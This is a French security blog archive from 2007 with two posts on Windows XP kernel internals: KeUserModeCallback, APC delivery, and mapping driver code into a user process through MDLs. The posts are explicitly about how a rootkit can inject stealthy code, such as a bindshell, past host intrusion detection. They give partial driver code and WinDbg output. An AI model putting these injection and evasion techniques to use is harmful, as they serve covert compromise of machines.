Archive for août, 2007
Je n’ai malheureusement pas réussi à faire fonctionner le code de mon précédent post ouinz … Pourtant j’ai tenté moultes techniques voodoo et mass debugging, en fait je n’arrive tout simplement pas à comprendre d’ou provient le bug. Peut-être qu’il provient de l’utilisation des fonctions KeStackAttachProcess/KeUnstackDetachProcess qui permettent (comme leurs noms l’indique) d’attacher notre thread puis de le détacher du contexte d’un process. Si on est curieux et qu’on regarde doc du DDK :
« Note that attaching a thread to a different process can prevent asynchronous I/O operations from completing and can potentially cause deadlocks. In general, the lines of code between the call to KeStackAttachProcess and the call to KeUnstackDetachProcess should be very simple and should not call complex routines or send IRPs to other drivers. »
Ils sont marrant les gars qui ont écrit ca, sachant que je n’envoie pas d’IRP sur les autres driver ma faute devrait donc dans « and should not call complex routines »… Wow le descriptif « complex routines » aide beaucoup. Bref l’injection marche, par contre au moment de quitter c’est boom-big-badaboom-big. Comme le code est crade je préfère ne pas vous montrer sinon vous allez croire que je code avec ma souris (ce qui est parfois vraiment style !)
Autrement, on m’a parlé sur IRC d’un API exporté par le kernel appelée KeUserModeCallback qui permettrait d’effectuer un appel d’un code userland depuis le kernel. Son prototype est :
NTSTATUS
KeUserModeCallback (
IN ULONG ApiNumber,
IN PVOID InputBuffer,
IN ULONG InputLength,
OUT PVOID *OutputBuffer,
IN PULONG OutputLength
)
/*++
Routine Description:
This function call out from kernel mode to a user mode function.
Arguments:
ApiNumber - Supplies the API number.
InputBuffer - Supplies a pointer to a structure that is copied
to the user stack.
InputLength - Supplies the length of the input structure.
Outputbuffer - Supplies a pointer to a variable that receives
the address of the output buffer.
Outputlength - Supplies a pointer to a variable that receives
the length of the output buffer.
Return Value:
If the callout cannot be executed, then an error status is
returned. Otherwise, the status returned by the callback function
is returned.
--*/
Après avoir lu sa définition une chose ma frappée, à quoi correspond le paramètre ApiNumber ? Hop 2-3 d’IDA, je m’apercois que KeUserModeCallback va aller lire dans le TrapFrame du thread qui l’appel, l’esp de la stack userland (avec l’API KiGetUserModeStackAddress). En effet, lors d’un syscall, le system sauvegarde le contexte (c’est à dire les registres) avant le syscall, sur la kernel stack du thread, ainsi on peut retrouver dans la structure KTRAP_FRAME le somment de la stack userland. Ensuite KeUserModeCallback va copié les arguments spécifié par InputBuffer dans la stack userland puis appel KiCallUserMode qui va effectuer après avoir modifié le TrapFrame un KiServiceExit (exit de syscall) pour tomber sur la fonction userland KiUserCallbackDispatcher. Hop, un peu de disass :
kd> uf ntdll!KiUserCallbackDispatcher
ntdll!KiUserCallbackDispatcher:
7c91ead0 83c404 add esp,4
7c91ead3 5a pop edx
7c91ead4 64a118000000 mov eax,dword ptr fs:[00000018h] ; eax=TEB
7c91eada 8b4030 mov eax,dword ptr [eax+30h] ; EAX=PEB
7c91eadd 8b402c mov eax,dword ptr [eax+2Ch] ; EAX=KernelCallbackTable
7c91eae0 ff1490 call dword ptr [eax+edx*4] ; call dword ptr KernelCallbackTable[edx*4]
7c91eae3 33c9 xor ecx,ecx
7c91eae5 33d2 xor edx,edx
7c91eae7 cd2b int 2Bh ; !idt -a -> 2b: 80540d20 nt!KiCallbackReturn
7c91eae9 cc int 3
KiUserCallbackDispatcher va rechercher dans le PEB du process, le champ KernelCallbackTable, comme son nom l’indique il s’agit d’un table de pointeurs de fonctions. C’est là qu’intervient le paramètre ApiNumber passé à KeUserModeCallback car celui-ci nous permet de choisir l’indice de la fontion à appeler. Voici la liste :
kd> dds poi(7ffde000+2c) l 62
7e392970 7e3ae373 USER32!__fnCOPYDATA
7e392974 7e3d8583 USER32!__fnCOPYGLOBALDATA
7e392978 7e39b4e8 USER32!__fnDWORD
7e39297c 7e39da97 USER32!__fnNCDESTROY
7e392980 7e3d853c USER32!__fnDWORDOPTINLPMSG
7e392984 7e3d873d USER32!__fnINOUTDRAG
7e392988 7e3bb815 USER32!__fnGETTEXTLENGTHS
7e39298c 7e3d8a12 USER32!__fnINCNTOUTSTRING
7e392990 7e3ad278 USER32!__fnINCNTOUTSTRINGNULL
7e392994 7e3d88df USER32!__fnINLPCOMPAREITEMSTRUCT
7e392998 7e39f9a8 USER32!__fnINLPCREATESTRUCT
7e39299c 7e3d891d USER32!__fnINLPDELETEITEMSTRUCT
7e3929a0 7e3cfc8c USER32!__fnINLPDRAWITEMSTRUCT
7e3929a4 7e3d895b USER32!__fnINLPHLPSTRUCT
7e3929a8 7e3d895b USER32!__fnINLPHLPSTRUCT
7e3929ac 7e3d877d USER32!__fnINLPMDICREATESTRUCT
7e3929b0 7e3cf3fc USER32!__fnINOUTLPMEASUREITEMSTRUCT
7e3929b4 7e39d080 USER32!__fnINLPWINDOWPOS
7e3929b8 7e39fbe5 USER32!__fnINOUTLPPOINT5
7e3929bc 7e39cf77 USER32!__fnINOUTLPSCROLLINFO
7e3929c0 7e3be24d USER32!__fnINOUTLPRECT
7e3929c4 7e39d1b6 USER32!__fnINOUTNCCALCSIZE
7e3929c8 7e39cf77 USER32!__fnINOUTLPSCROLLINFO
7e3929cc 7e3d87cf USER32!__fnINPAINTCLIPBRD
7e3929d0 7e3d8836 USER32!__fnINSIZECLIPBRD
7e3929d4 7e3b0d01 USER32!__fnINDESTROYCLIPBRD
7e3929d8 7e39f599 USER32!__fnINSTRING
7e3929dc 7e39f599 USER32!__fnINSTRING
7e3929e0 7e3acd83 USER32!__fnINDEVICECHANGE
7e3929e4 7e3d8aa7 USER32!__fnINOUTNEXTMENU
7e3929e8 7e3d91c5 USER32!__fnLOGONNOTIFY
7e3929ec 7e3d84f8 USER32!__fnOUTDWORDDWORD
7e3929f0 7e3d84f8 USER32!__fnOUTDWORDDWORD
7e3929f4 7e3d84b5 USER32!__fnOUTDWORDINDWORD
7e3929f8 7e3d889c USER32!__fnOUTLPRECT
7e3929fc 7e3ad278 USER32!__fnINCNTOUTSTRINGNULL
7e392a00 7e3d895b USER32!__fnINLPHLPSTRUCT
7e392a04 7e3ad278 USER32!__fnINCNTOUTSTRINGNULL
7e392a08 7e3d85fb USER32!__fnSENTDDEMSG
7e392a0c 7e39d665 USER32!__fnINOUTSTYLECHANGE
7e392a10 7e3b01d4 USER32!__fnHkINDWORD
7e392a14 7e3cf6ca USER32!__fnHkINLPCBTACTIVATESTRUCT
7e392a18 7e3cf60c USER32!__fnHkINLPCBTCREATESTRUCT
7e392a1c 7e3d8b9e USER32!__fnHkINLPDEBUGHOOKSTRUCT
7e392a20 7e3b1663 USER32!__fnHkINLPMOUSEHOOKSTRUCTEX
7e392a24 7e3d8b24 USER32!__fnHkINLPKBDLLHOOKSTRUCT
7e392a28 7e3d8b61 USER32!__fnHkINLPMSLLHOOKSTRUCT
7e392a2c 7e39f926 USER32!__fnHkINLPMSG
7e392a30 7e3d8ae7 USER32!__fnHkINLPRECT
7e392a34 7e3cee05 USER32!__fnHkOPTINLPEVENTMSG
7e392a38 7e3d8c89 USER32!__ClientCopyDDEIn1
7e392a3c 7e3d8ccb USER32!__ClientCopyDDEIn2
7e392a40 7e3d8d2e USER32!__ClientCopyDDEOut1
7e392a44 7e3d8cfd USER32!__ClientCopyDDEOut2
7e392a48 7e3a0ae1 USER32!__ClientCopyImage
7e392a4c 7e3d8d62 USER32!__ClientEventCallback
7e392a50 7e3b19b6 USER32!__ClientFindMnemChar
7e392a54 7e3aa7c1 USER32!__ClientFontSweep
7e392a58 7e3d8c1c USER32!__ClientFreeDDEHandle
7e392a5c 7e3adea5 USER32!__ClientFreeLibrary
7e392a60 7e3a7b3c USER32!__ClientGetCharsetInfo
7e392a64 7e3d8c53 USER32!__ClientGetDDEFlags
7e392a68 7e3d8dac USER32!__ClientGetDDEHookData
7e392a6c 7e3cf795 USER32!__ClientGetListboxString
7e392a70 7e3a7c1d USER32!__ClientGetMessageMPH
7e392a74 7e3abb9c USER32!__ClientLoadImage
7e392a78 7e3adbc9 USER32!__ClientLoadLibrary
7e392a7c 7e3a106d USER32!__ClientLoadMenu
7e392a80 7e3a8022 USER32!__ClientLoadLocalT1Fonts
7e392a84 7e3a9ffc USER32!__ClientLoadRemoteT1Fonts
7e392a88 7e3d8e4b USER32!__ClientPSMTextOut
7e392a8c 7e3d8ea1 USER32!__ClientLpkDrawTextEx
7e392a90 7e3d8f05 USER32!__ClientExtTextOutW
7e392a94 7e3d8f6a USER32!__ClientGetTextExtentPointW
7e392a98 7e3d8de9 USER32!__ClientCharToWchar
7e392a9c 7e3a7f29 USER32!__ClientAddFontResourceW
7e392aa0 7e39a13e USER32!__ClientThreadSetup
7e392aa4 7e3d9023 USER32!__ClientDeliverUserApc
7e392aa8 7e3d8fc1 USER32!__ClientNoMemoryPopup
7e392aac 7e39cf28 USER32!__ClientMonitorEnumProc
7e392ab0 7e3d921a USER32!__ClientCallWinEventProc
7e392ab4 7e3d8be5 USER32!__ClientWaitMessageExMPH
7e392ab8 7e39fb10 USER32!__ClientWOWGetProcModule
7e392abc 7e3d925d USER32!__ClientWOWTask16SchedNotify
7e392ac0 7e3d9036 USER32!__ClientImmLoadLayout
7e392ac4 7e3d9092 USER32!__ClientImmProcessKey
7e392ac8 7e3d90d2 USER32!__fnIMECONTROL
7e392acc 7e3d8666 USER32!__fnINWPARAMDBCSCHAR
7e392ad0 7e3bb815 USER32!__fnGETTEXTLENGTHS
7e392ad4 7e3d89ac USER32!__fnINLPKDRAWSWITCHWND
7e392ad8 7e3abda8 USER32!__ClientLoadStringW
7e392adc 7e3e55f7 USER32!__ClientLoadOLE
7e392ae0 7e3e54d4 USER32!__ClientRegisterDragDrop
7e392ae4 7e3e5513 USER32!__ClientRevokeDragDrop
7e392ae8 7e3d9182 USER32!__fnINOUTMENUGETOBJECT
7e392aec 7e3b03b7 USER32!__ClientPrinterThunk
7e392af0 7e3d929c USER32!__fnOUTLPCOMBOBOXINFO
7e392af4 7e3d92dc USER32!__fnOUTLPSCROLLBARINFO
La fonction disponible que j’ai tout de suite remarqué est ClientLoadLibrary (indice 66), equivalant à LoadLibrary ! Il est donc possible de loader une dll dans un process depuis le kernel, juste en appelant KeUserModeCallback avec dans le InputBuffer le path de la dll à charger. Le soucis, c’est qu’un des threads du process visé doit appeler cette fonction par lui-même depuis le kernel land à cause de la TrapFrame. Je me suis donc dit, « bah balance un kernel APC à un des threads du process, fait lui lancer KeUserModeCallback et ca sera bion !! » ….
Grande fut ma déception lorsque qu’après mass-tentative, je remarqua que la fonction chargé de délivrer les APC, KiDeliverApc, prennait en paramètre un pointeur sur une TrapFrame :
VOID
KiDeliverApc (
IN KPROCESSOR_MODE PreviousMode,
IN PKEXCEPTION_FRAME ExceptionFrame,
IN PKTRAP_FRAME TrapFrame
);
Forcément, la plupart du temps le paramètre TrapFrame étant NULL, demander à l’APC d’appeler KeUserModeCallback qui à besoin du TrapFrame pour copier ses arguements dans la user stack, était impossible, l’échec, encore …
Même en demander à l’APC de forcer en copiant l’adresse du TrapFrame dans la structure KTHREAD, je me prenais un magnifique BSOD.
Bref pour que KeUserModeCallback marche, il faut que le thread l’appel de lui-même. Ca pourrait se faire en hookant un syscall ou un gestionnaire d’IOCTL mais bon, ce n’est pas le but, je voulais au départ injecter une dll simplement depuis le kernel dans un process, and … I FAILED !
refs :
http://www.cmkrnl.com/arc-userapc.html
http://www.illmob.org/files/text/29a7/Articles/29A-7.003
août 27th, 2007
Encore un titre à faire fuir n’importe quel être normalement constitué, au début j’ai faillit écrire tout le post de la même façon mais je crois que les fautes font déjà assez branleur comme ca. Il faut dire qu’en ce moment j’ai un peu de mal à trouver de bonnes idées à poster, j’ai beau me drogué, rien n’y fait. Il faut dire que combattre un ennemi aussi vicieux que l’idle est loin d’être aisé, on se laisse vite tenter par des choses appelées « télévision » dans lesquelles ont peut observer un monde ou la bêtise semble reine … Au début on se dit qu’on ne deviendra jamais comme eux, puis à force de les contempler notre cerveau commence à se transformer pour ressembler au leurs. Après on s’étonne que le QI baisse, déjà que le mien n’est pas bien élevé, regarder la TV ou troller sur irc (c’est quasiment le même niveau de réflexion) n’aide pas à le maintenir. J’essaye de combattre cette nuisance et je crois que le meilleur moyen est de poser devant le laptop, de mettre du bon métal à fond puis de lire des blogs/sites chinois/russes pour récupérer de l’idée. Cet ainsi qu’est né ce poste, partant d’un constant simple, comment, quand un rootkit est installer sur une b0x lancer simplement un code depuis le kernel dans un context userland ? A première vue, on pourrait dire qu’en étant dans le noyau, réaliser cette opération est simple mais en y réfléchissant de près, qu’est ce qu’on connaît capable de faire ca ?
Crée un process pour exécuter notre code et se faire cramer plutôt crevé …
Injecter une DLL ? Cela revient à crée un thread lancé sur LoadLibrary.
Justement parlons de la création d’un thread par nous même dans un process existant, il suffit de voir le code CreateRemoteThread pour chier dans son froc …
kd> uf kernel32!CreateRemoteThread
kernel32!CreateRemoteThread:
7c81042c 6810040000 push 410h
7c810431 680806817c push offset kernel32!`string'+0x18 (7c810608)
7c810436 e88b20ffff call kernel32!_SEH_prolog (7c8024c6)
7c81043b a1cc46887c mov eax,dword ptr [kernel32!__security_cookie (7c8846cc)]
7c810440 8945e4 mov dword ptr [ebp-1Ch],eax
7c810443 8b4d08 mov ecx,dword ptr [ebp+8]
7c810446 898d44fcffff mov dword ptr [ebp-3BCh],ecx
7c81044c 8b750c mov esi,dword ptr [ebp+0Ch]
7c81044f 8b5d14 mov ebx,dword ptr [ebp+14h]
7c810452 8b4518 mov eax,dword ptr [ebp+18h]
7c810455 898534fcffff mov dword ptr [ebp-3CCh],eax
7c81045b 8b4520 mov eax,dword ptr [ebp+20h]
7c81045e 898538fcffff mov dword ptr [ebp-3C8h],eax
7c810464 33d2 xor edx,edx
7c810466 899548fcffff mov dword ptr [ebp-3B8h],edx
7c81046c 33c0 xor eax,eax
7c81046e 8dbd4cfcffff lea edi,[ebp-3B4h]
7c810474 ab stos dword ptr es:[edi]
7c810475 8d8520fcffff lea eax,[ebp-3E0h]
7c81047b 50 push eax
7c81047c f6451e01 test byte ptr [ebp+1Eh],1
7c810480 0f85b8a60200 jne kernel32!CreateRemoteThread+0x56 (7c83ab3e)
kernel32!CreateRemoteThread+0x5c:
7c810486 52 push edx
7c810487 ff7510 push dword ptr [ebp+10h]
7c81048a 51 push ecx
7c81048b e88cfdffff call kernel32!BaseCreateStack (7c81021c)
7c810490 85c0 test eax,eax
7c810492 0f8cafa60200 jl kernel32!CreateRemoteThread+0x6a (7c83ab47)
kernel32!CreateRemoteThread+0x6d:
7c810498 33ff xor edi,edi
7c81049a 47 inc edi
7c81049b 57 push edi
7c81049c ffb528fcffff push dword ptr [ebp-3D8h]
7c8104a2 53 push ebx
7c8104a3 ffb534fcffff push dword ptr [ebp-3CCh]
7c8104a9 8d8558fcffff lea eax,[ebp-3A8h]
7c8104af 50 push eax
7c8104b0 e8eefeffff call kernel32!BaseInitializeContext (7c8103a3)
7c8104b5 33db xor ebx,ebx
7c8104b7 53 push ebx
7c8104b8 56 push esi
7c8104b9 8d85e0fbffff lea eax,[ebp-420h]
7c8104bf 50 push eax
7c8104c0 e8258effff call kernel32!BaseFormatObjectAttributes (7c8092ea)
7c8104c5 57 push edi
7c8104c6 8d8d20fcffff lea ecx,[ebp-3E0h]
7c8104cc 51 push ecx
7c8104cd 8d8d58fcffff lea ecx,[ebp-3A8h]
7c8104d3 51 push ecx
7c8104d4 8d8d3cfcffff lea ecx,[ebp-3C4h]
7c8104da 51 push ecx
7c8104db 8bb544fcffff mov esi,dword ptr [ebp-3BCh]
7c8104e1 56 push esi
7c8104e2 50 push eax
7c8104e3 68ff031f00 push 1F03FFh
7c8104e8 8d8550fcffff lea eax,[ebp-3B0h]
7c8104ee 50 push eax
7c8104ef ff154414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801444)]
Ici on a crée l'objet ETHREAD dans le kernel.
7c8104f5 898554fcffff mov dword ptr [ebp-3ACh],eax
7c8104fb 3bc3 cmp eax,ebx
7c8104fd 0f8c47a60200 jl kernel32!CreateRemoteThread+0xd4 (7c83ab4a)
kernel32!CreateRemoteThread+0xf4:
7c810503 895dfc mov dword ptr [ebp-4],ebx
7c810506 83feff cmp esi,0FFFFFFFFh
7c810509 7553 jne kernel32!CreateRemoteThread+0x1a6 (7c81055e)
kernel32!CreateRemoteThread+0x100:
7c81050b 53 push ebx
7c81050c 6a1c push 1Ch
7c81050e 8d85f8fbffff lea eax,[ebp-408h]
7c810514 50 push eax
7c810515 53 push ebx
7c810516 ffb550fcffff push dword ptr [ebp-3B0h]
7c81051c ff152811807c call dword ptr [kernel32!_imp__NtQueryInformationThread (7c801128)]
7c810522 898554fcffff mov dword ptr [ebp-3ACh],eax
7c810528 3bc3 cmp eax,ebx
7c81052a 0f8c3aa60200 jl kernel32!CreateRemoteThread+0x121 (7c83ab6a)
kernel32!CreateRemoteThread+0x139:
7c810530 53 push ebx
7c810531 6a08 push 8
7c810533 8d8548fcffff lea eax,[ebp-3B8h]
7c810539 50 push eax
7c81053a 57 push edi
7c81053b 53 push ebx
7c81053c 53 push ebx
7c81053d 57 push edi
7c81053e ff15ec14807c call dword ptr [kernel32!_imp__RtlQueryInformationActivationContext (7c8014ec)]
7c810544 898554fcffff mov dword ptr [ebp-3ACh],eax
7c81054a 3bc3 cmp eax,ebx
7c81054c 0f8c30a60200 jl kernel32!CreateRemoteThread+0x157 (7c83ab82)
kernel32!CreateRemoteThread+0x164:
7c810552 399d48fcffff cmp dword ptr [ebp-3B8h],ebx
7c810558 0f852b4d0200 jne kernel32!CreateRemoteThread+0x16c (7c835289)
kernel32!CreateRemoteThread+0x1a6:
7c81055e 803d0840887c00 cmp byte ptr [kernel32!BaseRunningInServerProcess (7c884008)],0
7c810565 0f8567b20100 jne kernel32!CreateRemoteThread+0x1f0 (7c82b7d2)
kernel32!CreateRemoteThread+0x1af:
7c81056b 8b8550fcffff mov eax,dword ptr [ebp-3B0h]
7c810571 89854cffffff mov dword ptr [ebp-0B4h],eax
7c810577 8b853cfcffff mov eax,dword ptr [ebp-3C4h]
7c81057d 898550ffffff mov dword ptr [ebp-0B0h],eax
7c810583 8b8540fcffff mov eax,dword ptr [ebp-3C0h]
7c810589 898554ffffff mov dword ptr [ebp-0ACh],eax
7c81058f 6a0c push 0Ch
7c810591 6801000100 push 10001h
7c810596 53 push ebx
7c810597 8d8524ffffff lea eax,[ebp-0DCh]
7c81059d 50 push eax
7c81059e ff153410807c call dword ptr [kernel32!_imp__CsrClientCallServer (7c801034)]
Notifie le subsystem (csrss) avec un LPC qu'un thread a été crée.
7c8105a4 8b8544ffffff mov eax,dword ptr [ebp-0BCh]
7c8105aa 898554fcffff mov dword ptr [ebp-3ACh],eax
kernel32!CreateRemoteThread+0x229:
7c8105b0 399d54fcffff cmp dword ptr [ebp-3ACh],ebx
7c8105b6 0f8c17a60200 jl kernel32!CreateRemoteThread+0x231 (7c83abd3)
kernel32!CreateRemoteThread+0x23d:
7c8105bc 8b8538fcffff mov eax,dword ptr [ebp-3C8h]
7c8105c2 3bc3 cmp eax,ebx
7c8105c4 7408 je kernel32!CreateRemoteThread+0x24f (7c8105ce)
kernel32!CreateRemoteThread+0x247:
7c8105c6 8b8d40fcffff mov ecx,dword ptr [ebp-3C0h]
7c8105cc 8908 mov dword ptr [eax],ecx
kernel32!CreateRemoteThread+0x24f:
7c8105ce f6451c04 test byte ptr [ebp+1Ch],4
7c8105d2 7513 jne kernel32!CreateRemoteThread+0x268 (7c8105e7)
kernel32!CreateRemoteThread+0x255:
7c8105d4 8d851cfcffff lea eax,[ebp-3E4h]
7c8105da 50 push eax
7c8105db ffb550fcffff push dword ptr [ebp-3B0h]
7c8105e1 ff153814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801438)]
Lance le thread ...
kernel32!CreateRemoteThread+0x268:
7c8105e7 834dfcff or dword ptr [ebp-4],0FFFFFFFFh
7c8105eb e829000000 call kernel32!CreateRemoteThread+0x289 (7c810619)
7c8105f0 8b8550fcffff mov eax,dword ptr [ebp-3B0h]
7c8105f6 8b4de4 mov ecx,dword ptr [ebp-1Ch]
7c8105f9 e80491ffff call kernel32!__security_check_cookie (7c809702)
7c8105fe e8fe1effff call kernel32!_SEH_epilog (7c802501)
7c810603 c21c00 ret 1Ch
En gros, crée un thread consiste à appeler NtCreateThread et NtResumeThread (2 API non exportées par le noyau), sans oublié de notifié le subsystem qu’un thread à été lancé, bref ceci n’est pas forcément très furtif :]
Il est aussi possible d’hijacker un thread existant en utilisant les API :
ZwOpenThread
NtSuspendThread //non exporté par le noyau
PsGetContextThread
PsSetContextThread
NtResumeThread //non exporté par le noyau
ZwClose
Cela cependant relève plus du parcourt du combattant car les API NtSuspendThread et NtResumeThread n’étant pas exportées par ntoskrnl, il n’est possible de les utiliser dans un driver les retrouvant dynamiquement, le plus simple étant de les obtenir à partir de leur index dans la KiServiceTable.
Dans le cas de la création d’un thread, il reste le problème de l’allocation du code dans la mémoire. En effet effectuer un ZwAllocateVirtualMemory puis un ZwWriteVirtualMemory et enfin un ZwFreeVirtualMemory demande pas mal de code. On pourrait se dire qu’il serait plus simple de directement mapper les pages kernel contenant le code qu’on désire lancer, c’est vrai mais dans ce cas il faut manipuler un objet de type « section », le mapping consistera a faire les appels :
ZwCreateSection
ZwMapViewOfSection
ZwUnmapViewOfSection
ZwClose
Le problème c’est que le handle renvoyé lors de l’appel à ZwCreateSection sera crée dans le context du thread qui l’aura appelé, ainsi comme on doit le manipuler après avec les autres API, il faut s’assurer que notre system thread s’exécute dans le contexte du process ou l’on veut mapper les pages.
Bref, si on veut injecter du code depuis le kernel dans un process, on a 2 ennuis :
1) Comment mapper le code de façon simple ?
2) Comment l’exécuter sans se prendre la tête ?
De plus il faut garder à l’esprit qu’un HIDS peut très bien surveiller les appels natifs (tous les Zw*) et ainsi par exemple bloquer l’appel à ZwAllocateVirtualMemory dans un process non-authorisé.
L’idéal serait donc de pouvoir réaliser ces 2 opérations sans utiliser d’API natives mais uniquement celle que nous fournit le noyau.
La méthode que j’expose ici à été reprise d’un code chinois, dont les gars là bas, doivent tourner avec des drogues beaucoup plus puissant que les chocapicz ….
L’idée consiste à mapper le code dans un process en jouant avec les MDL (Memory Descriptor List) puis à l’éxécuter avec un APC crée depuis notre driver.
Le mapping s’effectue en créant un MDL sur notre routine (faisant partie de notre driver) avec un IoAllocateMdl, ensuite il faut locker les pages dans le kernel, pour empêcher quelles soient swappées, puis les mapper avec un MmMapLockedPagesSpecifyCache (suffit de lire la doc du DDK et tout va bien :p). Au final ca donne ca :
pMDL=IoAllocateMdl((PVOID)&ApcRoutine, 0x15E, FALSE, FALSE, NULL); //0x15E=sizeof(code)
if(!pMDL)
{
DbgPrint("Error with IoAllocateMdln");
PsTerminateSystemThread(STATUS_SUCCESS);
}
__try
{
MmProbeAndLockPages(pMDL, KernelMode, IoWriteAccess);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
IoFreeMdl(pMDL);
DbgPrint("Error with MmProbeAndLockPagesn");
PsTerminateSystemThread(STATUS_SUCCESS);
}
KeStackAttachProcess((PEPROCESS)Process, &ApcState);
__try
{
ApcMappedAddress=MmMapLockedPagesSpecifyCache(pMDL,
UserMode,
MmCached,
NULL,
FALSE,
NormalPagePriority);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
MmUnlockPages(pMDL);
IoFreeMdl(pMDL);
DbgPrint("Error with MmMapLockedPagesSpecifyCachen");
PsTerminateSystemThread(STATUS_SUCCESS);
}
if(!ApcMappedAddress)
{
KeUnstackDetachProcess(&ApcState);
MmUnlockPages(pMDL);
IoFreeMdl(pMDL);
DbgPrint("Error with MmMapLockedPagesSpecifyCachen");
PsTerminateSystemThread(STATUS_SUCCESS);
}
Notez l’appel à KeStackAttachProcess, cette magnifique API permet d’attacher notre thread au context d’un process à partir de son EPROCESS, on s’assure ainsi que l’appel à MmMapLockedPagesSpecifyCache avec le paramètre UserMode mappera bien les pages dans le userspace du process visé.
Ensuite, il faut envoyer un APC à un des threads du process, dans notre cas on utilise un userland APC, le petit souci c’est que comme le dit la doc, un userland APC n’est exécuté que si un thread est à la fois Waiting et Alertable, en il faut qu’il est appelé une de ces API :
SleepEx
SignalObjectAndWait
MsgWaitForMultipleObjectsEx
WaitForMultipleObjectsEx
WaitForSingleObjectEx
En mettant le booléen bAlertable à TRUE, ce qui n’est pas forcément le cas ! Cela empêche donc notre APC d’être exécuté, ouinz …
Sauf, si on trick comme un moine tibétain, en effet l’API KiInsertQueueApc qui se charge de placer l’APC sur le thread, notifiera ce dernier qu’il doit exécuter un APC en plaçant le flag UserApcPending de la structure KTHREAD à 1. En ce qui concerne l’APC il sera délivré lors du retour du syscall respectant ainsi l’algorithme suivant :
ExitFromSystem:
disable interrupts;
IF Previous IRQL == 0 THEN
Get current TCB address;
IF Previous mode == Kernel THEN
IF Tcb.KernelApcPending THEN
IRQL = 1;
Call kernel APC delivery code;
END IF;
ELSEIF Tcb.UserApcPending THEN
IRQL = 1;
Call user APC delivery code;
END IF;
END IF;
Restore state and continue execution;
Voila ce que ca peut donner dans le monde réel :
kd> kv
ChildEBP RetAddr Args to Child
f94f4cf8 804e6112 00000000 f94f4d64 0032054e nt!KiInitializeUserApc (FPO: [Non-Fpo])
f94f4d4c 804de855 00000001 00000000 f94f4d64 nt!KiDeliverApc+0x1d5 (FPO: [Non-Fpo])
f94f4d4c 7c91eb94 00000001 00000000 f94f4d64 nt!KiServiceExit+0x58 (FPO: [0,0] TrapFrame @ f94f4d64)
[---------------------------------------------------------------------------------------------------]
0012ff44 7c91d85c 7c8023ed 00000000 0012ff78 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0012ff48 7c8023ed 00000000 0012ff78 00370031 ntdll!NtDelayExecution+0xc (FPO: [2,0,0])
0012ffa0 7c802451 00001388 00000000 0012ffc0 kernel32!SleepEx+0x61 (FPO: [Non-Fpo])
0012ffb0 0040022f 00001388 0012ffb0 0012fff0 kernel32!Sleep+0xf (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ffc0 7c816fd7 00370031 002d0031 7ffd6000 apc_test+0x22f
0012fff0 00000000 00400220 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])
Ensuite si c’est un user APC, on se retrouve dans la stack userland du thread, l’APC étant exécuté sous forme d’exception :
kd> kv
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012fc68 7c91eac7 00000000 0000001c 00000000 0x32054e
0012ffa0 7c802451 00001388 00000000 0012ffc0 ntdll!KiUserApcDispatcher+0x7
0012ffb0 0040022f 00001388 0012ffb0 0012fff0 kernel32!Sleep+0xf (FPO: [Non-Fpo])
0012ffc0 7c816fd7 00370031 002d0031 7ffd6000 apc_test+0x22f
0012fff0 00000000 00400220 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])
Donc, si on modifie nous même le flag UserApcPending du KTHREAD, que le thread soit Running ou Waiting, on est sur que lors du retour du prochain syscall, notre APC sera délivré, w00t c’est n111ce !
J’ai oublié de précisé que le code injecté doit-être générique, c’est à dire qu’il ne doit appeler aucunes API userland avec une adresse hardcodé.
Pour information, voici les prototypes de KeInitializeApc et KeInsertQueueApc :
VOID
KeInitializeApc (
__out PRKAPC Apc,
__in PRKTHREAD Thread,
__in KAPC_ENVIRONMENT Environment,
__in PKKERNEL_ROUTINE KernelRoutine,
__in_opt PKRUNDOWN_ROUTINE RundownRoutine,
__in_opt PKNORMAL_ROUTINE NormalRoutine,
__in_opt KPROCESSOR_MODE ApcMode,
__in_opt PVOID NormalContext
)
Routine Description:
This function initializes a kernel APC object. The thread, kernel
routine, and optionally a normal routine, processor mode, and normal
context parameter are stored in the APC object.
Arguments:
Apc - Supplies a pointer to a control object of type APC.
Thread - Supplies a pointer to a dispatcher object of type thread.
Environment - Supplies the environment in which the APC will execute.
Valid values for this parameter are: OriginalApcEnvironment,
AttachedApcEnvironment, CurrentApcEnvironment, or InsertApcEnvironment
KernelRoutine - Supplies a pointer to a function that is to be
executed at IRQL APC_LEVEL in kernel mode.
RundownRoutine - Supplies an optional pointer to a function that is to be
called if the APC is in a thread's APC queue when the thread terminates.
NormalRoutine - Supplies an optional pointer to a function that is
to be executed at IRQL 0 in the specified processor mode. If this
parameter is not specified, then the ProcessorMode and NormalContext
parameters are ignored.
ApcMode - Supplies the processor mode in which the function specified
by the NormalRoutine parameter is to be executed.
NormalContext - Supplies a pointer to an arbitrary data structure which is
to be passed to the function specified by the NormalRoutine parameter.
Return Value:
None.
--*/
BOOLEAN
KeInsertQueueApc (
__inout PRKAPC Apc,
__in_opt PVOID SystemArgument1,
__in_opt PVOID SystemArgument2,
__in KPRIORITY Increment
)
/*++
Routine Description:
This function inserts an APC object into the APC queue specifed by the
thread and processor mode fields of the APC object. If the APC object
is already in an APC queue or APC queuing is disabled, then no operation
is performed. Otherwise the APC object is inserted in the specified queue
and appropriate scheduling decisions are made.
Arguments:
Apc - Supplies a pointer to a control object of type APC.
SystemArgument1, SystemArgument2 - Supply a set of two arguments that
contain untyped data provided by the executive.
Increment - Supplies the priority increment that is to be applied if
queuing the APC causes a thread wait to be satisfied.
Return Value:
If the APC object is already in an APC queue or APC queuing is disabled,
then a value of FALSE is returned. Otherwise a value of TRUE is returned.
--*/
Aussi, comme ne nous savons pas quand notre APC sera délivré, il faut utiliser un Event, afin que notre code injecté, en appelant SetEvent, nous prévienne qu’il a finit d’exécuté le code. Après quand tout est finit, on unmap les pages, on les déverrouille et on supprime le MDL.
Pour l’instant le code marche, le code injecté est le bindshell que j’ai posté la dernière fois. Sauf qu’au moment de quitter j’ai un méchant deadlock qui parfois fait planter à la fois la VM et mon laptop, w0w funny …
J’essaye de corriger ce leger bug :] puis je vous up le POC.
Références :
Using MDLs
http://msdn2.microsoft.com/en-us/library/aa489506.aspx
